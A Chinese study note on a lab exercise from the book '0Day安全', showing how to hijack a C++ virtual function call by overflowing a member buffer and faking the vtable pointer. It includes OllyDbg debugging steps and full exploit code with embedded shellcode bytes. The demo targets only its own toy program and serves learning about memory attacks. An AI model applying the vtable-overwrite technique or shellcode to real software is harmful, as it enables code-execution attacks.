记录学习《0Day安全》路上遇到的问题解决方案 -- 形形色色的内存攻击技术！

__author__ = "lit0"

C++ 虚函数利用问题：

利用原理（ 书上有简单描述一遍）：

C++ 虚函数调用是动态的， 入口地址是在虚表（Vtable）中，使用时先通过指针找到虚表，然后取出虚表里面的函数地址调用
所以只要将这个函数地址替换，就可以达到劫持效果。

那么如果成员变量溢出就可以构造好伪造的虚函数入口地址，使其指向shellcode执行

问题描述：代码重新编译会使地址变化，原有程序（随书光盘程序）不能成功执行。
这时需要调试代码得到变化后的地址

1. 先设置断点 使用ollydbg 调试程序， 设置断点下一行代码为新esp起点 按F8执行代码。
   
   2.阅读代码发现 00401053 mov edi, 00409050; 此为数据段 buf成员变量的开始。真正使用它确是在
   00401075 mov edi, 0040ba64 缓冲区
   3.在内存区跳转到0040ba64。 执行完下面几句，观察内存区
   
   可以得到 新的缓冲区地址

#include "windows.h"
#include "iostream.h"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x64\xBB\x40\x00";//set fake virtual function pointer <-------修改

class Failwest
{
public:
    char buf[200];
    virtual void test(void)
    {
        cout<<"Class Vtable::test()"<<endl;
    }
};
Failwest overflow, *p;
void main(void)
{
    char * p_vtable;
    p_vtable=overflow.buf-4;//point to virtual table
    __asm int 3
    //reset fake virtual table to 0x004088cc
    //the address may need to ajusted via runtime debug
    p_vtable[0]=0x14;  <-------修改
    p_vtable[1]=0xBB;  
    p_vtable[2]=0x40;
    p_vtable[3]=0x00;
    strcpy(overflow.buf,shellcode);//set fake virtual function pointer
    p=&overflow;
    p->test();
}

成功执行：